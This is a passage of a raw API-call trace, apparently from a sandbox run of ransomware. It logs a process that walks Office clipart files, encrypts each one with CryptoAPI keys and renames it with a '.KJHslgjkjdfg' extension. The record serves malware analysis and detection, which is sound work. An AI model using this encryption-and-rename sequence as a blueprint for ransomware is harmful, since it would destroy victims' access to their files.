liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.210] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.682] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.682] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.682] GetProcessHeap () returned 0x2ef0000 [0235.682] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.682] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.682] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.682] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.682] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.683] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.683] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.683] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e58, lpOverlapped=0x0) returned 1 [0235.924] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e60) returned 1 [0235.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.924] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e60, lpOverlapped=0x0) returned 1 [0235.924] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.925] SetEndOfFile (hFile=0x130) returned 1 [0235.927] GetProcessHeap () returned 0x2ef0000 [0235.927] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.927] GetProcessHeap () returned 0x2ef0000 [0235.928] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.kjhslgjkjdfg")) returned 1 [0235.929] CloseHandle (hObject=0x130) returned 1 [0235.930] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3a800, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4c3a800, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00505_.WMF", cAlternateFileName="")) returned 1 [0235.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.931] GetProcessHeap () returned 0x2ef0000 [0235.931] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.931] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.931] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0235.945] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.945] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.945] GetProcessHeap () returned 0x2ef0000 [0235.945] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.945] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.945] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.945] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.945] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.945] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.945] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.945] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.945] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.945] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.946] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.946] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaa4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xaa4, lpOverlapped=0x0) returned 1 [0235.946] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xab0, dwBufLen=0xab0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xab0) returned 1 [0235.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.946] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xab0, lpOverlapped=0x0) returned 1 [0235.946] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.946] SetEndOfFile (hFile=0x130) returned 1 [0235.949] GetProcessHeap () returned 0x2ef0000 [0235.949] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.949] GetProcessHeap () returned 0x2ef0000 [0235.949] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.kjhslgjkjdfg")) returned 1 [0235.951] CloseHandle (hObject=0x130) returned 1 [0235.951] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765bc800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x765bc800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1724, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00513_.WMF", cAlternateFileName="")) returned 1 [0235.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.953] GetProcessHeap () returned 0x2ef0000 [0235.953] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.953] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.953] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.953] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0235.959] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.959] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.959] GetProcessHeap () returned 0x2ef0000 [0235.959] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.959] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.959] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.959] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.959] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.959] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.960] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.960] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.960] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.960] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.960] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.960] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.960] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1724, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1724, lpOverlapped=0x0) returned 1 [0235.962] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1730, dwBufLen=0x1730 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1730) returned 1 [0235.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.963] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1730, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1730, lpOverlapped=0x0) returned 1 [0235.963] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.963] SetEndOfFile (hFile=0x130) returned 1 [0235.966] GetProcessHeap () returned 0x2ef0000 [0235.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.966] GetProcessHeap () returned 0x2ef0000 [0235.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.kjhslgjkjdfg")) returned 1 [0235.968] CloseHandle (hObject=0x130) returned 1 [0235.968] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2602, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00555_.WMF", cAlternateFileName="")) returned 1 [0235.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.971] GetProcessHeap () returned 0x2ef0000 [0235.971] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.971] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.971] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0235.973] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.973] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.973] GetProcessHeap () returned 0x2ef0000 [0235.973] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.973] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.973] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.973] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.974] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.974] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.974] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.974] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.975] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.975] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.975] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2602, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2602, lpOverlapped=0x0) returned 1 [0235.976] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2610, dwBufLen=0x2610 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2610) returned 1 [0235.976] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.976] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2610, lpOverlapped=0x0) returned 1 [0235.976] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.976] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.976] SetEndOfFile (hFile=0x130) returned 1 [0235.979] GetProcessHeap () returned 0x2ef0000 [0235.979] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.979] GetProcessHeap () returned 0x2ef0000 [0235.979] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.kjhslgjkjdfg")) returned 1 [0235.981] CloseHandle (hObject=0x130) returned 1 [0235.981] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23879c00, ftCreationTime.dwHighDateTime=0x1c01c5d, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23879c00, ftLastWriteTime.dwHighDateTime=0x1c01c5d, nFileSizeHigh=0x0, nFileSizeLow=0x6260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00603_.WMF", cAlternateFileName="")) returned 1 [0235.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.982] GetProcessHeap () returned 0x2ef0000 [0235.982] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.982] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.982] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.982] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.982] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.982] GetProcessHeap () returned 0x2ef0000 [0235.982] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.982] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.982] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.982] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, 